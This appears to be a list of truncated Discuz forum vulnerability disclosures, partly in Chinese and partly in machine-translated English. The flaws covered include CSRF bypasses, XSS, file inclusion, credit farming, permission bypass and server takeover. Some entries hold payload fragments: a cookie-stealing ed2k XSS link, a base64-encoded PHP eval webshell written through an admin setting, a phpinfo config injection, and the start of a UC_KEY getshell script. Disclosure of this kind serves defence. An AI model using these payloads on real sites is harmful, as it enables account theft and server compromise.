Discuz后台文件包含漏洞

简要描述： wooyun还是不错的 so 我又来了 要是被通用性漏洞奖励看中了就好了 详细说明： 漏洞函数在文件source\module\misc\miscseccode.php下面 请看代码 这段代码粗略一看没什么利用条件“./source/plugin/'.$etype0.'/seccode/seccode'.$etype1.'.php'”但是 我们把其中的/seccode/seccode这个变成文件夹 不就Ok了嘛 if!isnumeric$G'setting''seccodedata''type' $etype = explode':',...

Discuz! <=2.5 csrf防御绕过

简要描述： 在Discuz! '.gif', 2 = '.jpg', 3 = '.png'; 只检查了后缀而不像3.0以上用库检查了图片格式 漏洞证明： 步骤 1、新建一个获取页面源码 提取formhash 然后用formhash发送添加副站长请求的swf，保存为.jpg后缀 2、注册一个账号，去/home.php?mod=spacecp&ac=avatar上传上一步生成的.jpg后缀的swf文件并抓包 上传后的地址应该是 http://192.168.1.104/ucserver/data/tmp/uploaduid.jpg这样的...

Discuz!NT多处全版本通杀XSS

简要描述： 我估计是被忽略的节奏 详细说明： Discuz!NT存在多处反射型XSS，反射XSS本身都不好意思发出来的，但是看了下用户量很大（关键字：Powered by Discuz!NT）啊，关键是全版本通杀，综合利用起来危害和影响还是不小吧！ 这里我们拿Discuz!NT 3.6.601测试 第一处XSS 在showuser.aspx页面的ordertype参数...

欧朋浏览器论坛存储型xss漏洞

简要描述： 欧朋浏览器论坛存储型xss漏洞 详细说明： 仍然是discuz的漏洞，欧朋抓紧修复，该漏洞对用户的账户安全威胁还是比较大的。 该存储型xss漏洞存在于论坛下任意一个帖子， 在发表回复处，插入超链接， 地址为：ed2k://|file|test|'+alertdocument.cookie+'|test/ 发表后用户浏览该帖子即可触发。 漏洞证明： 如上...

Discuz! X A XSS-vulnerability warning-the black bar safety net

Self XSS + Click Jacking == storage type XSS http://hi.baidu.com/hacklele/admin.php?frames=yes&action=moderate&operation=threads, the page has a hidden form"title", you can GET submitted, the Management click"Submit"after the trigger. Because it is a Self XSS, bad use, and Discuz the background i...

Discuz! X2.5 / X3 / X3.1 可CSRF删管理员账号

简要描述： 接着上次的漏洞来…… 详细说明： 上次那个漏洞： WooYun: Discuz! X2.5 / X3 / X3.1中CSRF攻击防御可被绕过 你们回复说是程序员认为不需要校验才这么设置……那这回应该算是你设计问题了吧 后台删除用户页面只是单纯做了submitcheck'submit', 1，按之前的说明，程序这里没有判断formhash，也就是说可以用于CSRF 不过利用这个漏洞前提是要管理员登陆了后台，不过这个不会很麻烦吧（比如故意加点关键字进审核然后让管理员触发神马的，实在不行还能发帖钓鱼） 漏洞证明： 发帖插入 Discuz! 代码：...

Discuz! X2.5 / X3 / X3.1中CSRF攻击防御可被绕过

简要描述： 写插件的时候偶然发现的...可绕过Discuz自带的CSRF攻击 详细说明： discuz在判断表单时用这个函数： submitcheck'submit', true 其中第二个参数本来应该是是否允许GET请求的选项。 在X2.5 / X3 / X3.1中，第二个参数为true时竟然不判断formhash直接return true了…… 使用批量搜索工具搜索discuz源代码里的submitcheck, ……然后发现官方也用了这种写法，尿了尿了 另外表示X2和之前的都没看过，不确定是否有问题。 我本地的X2.5 X3 X3.1这个文件基本都一样…… 漏洞证明：...

Discuz! 7 /wap/index.php 代码执行漏洞

No description provided by source...

Discuz! X3.1 刷积分漏洞

简要描述： X3.1 利用特殊主题进行刷分 详细说明： 首先论坛需开启悬赏贴，如不开启，则无任何的影响。 具体步骤： 1，使用主号发布悬赏贴，其他号进行回帖。 2，主号打开2个窗口，1个窗口为采纳最佳答案的帖子，另1个窗口打开帖子的编辑。 然后，先采纳答案，然后把编辑的窗口，保存。 此处会发现帖子会变成未采纳，还可以继续采纳，但是主号的金币并没有在扣除。 漏洞证明：...

Discuz! X3. 1 Background to arbitrary code execution can take shell-vulnerability warning-the black bar safety net

See someone ask Discuz! X3. 1 Background how get shell, download it a look, before someone says HTML generation can take the shell, I yesterday the official website to download the version found, the static file extensions, limiting the htm/html. If the server does not exist parsing vulnerability...

Discuz! X3.1 Release 20140301后台拿shell真的修复了吗

简要描述： 之前写的几个后台拿shell，Discuz!忽略了，但新版本Discuz! X3.1 Release 20140301实际上有所加强，但是真的修复了之前提到的问题吗？ Discuz!大概做了下面几个改动： 1.统计代码处，对 "和 "" 的被转意了，那就用 ，经过测试，尖括号未被转意。 下面来重现过程： 1.先上传一张版本图： 2. 全局-站点信息-网站第三方统计代码, 里面插入我们要执行的php代码，如下： fputsfopen't.php',w,base64decode"PD9waHAgQGV2YWwoJF9QT1NUW2NdKTs/Pg=="; 3.工具 - 更新缓存,...

Discuz attachment download permission bypass method-vulnerability warning-the black bar safety net

Ultra vires download contain a“Read permissions”plug-in, download plug-in free snap coin To reproduce the steps of: 1, Using the administrator account, Upload a high reading permissions of the attachment 2, The use of low-privileged user account, download the attachment, this time, Discuz will...

Discuz! X 储存型XSS (X1 ~ X3.1最新版)

简要描述： Discuz! X 储存型XSS一枚，存在于X1 X3.1最新版 详细说明： 发表帖子时，Discuz对于其中的ed2k链接做了解析处理，虽然对于链接中的名称等进行了处理，但是未对传入的文件大小做处理（转为int），造成了XSS。 ed2k地址形如：...

Discuz! X3.1 刷分系列漏洞之2

简要描述： Discuz!X最新版本（及部分旧版本所存在的刷分漏洞） 这几天整理DZ的刷分漏洞，原本打算出个系列发上来，结果发现不少漏洞都已经fix了，这可能已经是系列的最后一个了吧。 详细说明： 在使用“千斤顶”道具时，使用的数量缺少负值判断 上面的一句话已经很清晰地说明问题了，所以这里就不分析的很详细了 使用“千斤顶”道具时，会调用以下文件： source\class\magic\magicjack.php 在该文件的57行开始，是使用道具的部分： function usesubmit ... $magicnum = intval$GET'magicnum';...

Discuz某处XSS劫持UC_KEY（XSS应用详细过程）

简要描述： Discuz某处XSS劫持UCKEY到拿webshell。 XSS应用的详细过程。 详细说明： 漏洞： 这个漏洞的位置在Discuz的门户功能处。 在发表文章时，打开“编辑源码”功能时，写入任意XSS CODE后，再进入和输出都没有过滤。导致存储型XSS。 大家都知道，这里的XSS虽然可以劫持到用户和管理的Cookies，但是没什么用，无法登陆。 那么，我们可以想办法拿XSS来干点其他的，比如劫持管理员后台内容，如UCKEY等。 门槛： 因为默认安装情况下这个门户功能是没有配置的。 所以管理员需要手动配置门户功能。大部分都会开启门户。...

Discuz附件下载权限绕过

简要描述： 绕过附件下载权限只是漏洞的一个应用，还可以免费下载附件，其他的应用还没发掘.. 详细说明： 在下载附件的时候，附件所设置的“阅读权限”可以被绕过。 Discuz的附件下载地址是类似 forum.php?mod=attachment&aid=Nzg4fDQwNGQzYjMxfDEzODk2OTM4Mzh8MzEyNTR8MjY3Mw%3D%3D 这样的地址，其中的aid参数是一串base64，解码后是： 788|404d3b31|1389693838|31254|2673 这串aid在source/module/forum/forumattachment.php 中被这样解析...

Discuz use UC_KEY be getshell-a vulnerability warning-the black bar safety net

From:http://www. tick. org/bugs/tick-2 0 1 4-0 4 8 1 3 7 ? php // Code copyright belongs to the original author all! $timestamp = time+1 03 6 0 0; $host="127.0.0.1"; $uckey="eapf15K8b334Bc8eBeY4Gfn1VbqeA0N5waofq6j285ca33i151e551g0l9f2l3dd";...

Discuz的利用UC_KEY进行getshell

简要描述： 知key得shell。 详细说明： $configfile = pregreplace"/define'UCAPI',\s'.?';/i", "define'UCAPI', '".addslashes$UCAPI."';", $configfile; 这句代码是有漏洞的。 如果我第一次提交的是 ';phpinfo; define那句就变成了 define'UCAPI','';phpinfo;'; 那么我下一次提交呢？ 非贪婪匹配会匹配到 define'UCAPI',''; phpinfo;就留下来了。 漏洞证明：...

Discuz! x3.1 index.php 代码执行漏洞

No description provided by source...

Discuz plug-in arbitrary File Download vulnerability-vulnerability warning-the black bar safety net

A txt,word Online Preview of the plug-in,Plug-In address: http://www.discuz.net/forum.php?mod=viewthread&tid=3 1 6 9 5 5 6 AppleScript $doc=$GET'doc'; $doc="../../../".$ doc; $filename=$GET'filename'; $ext=$GET'ext'; //set file type if$ext=='doc' $ext="application/msword"; if$ext=='xls'...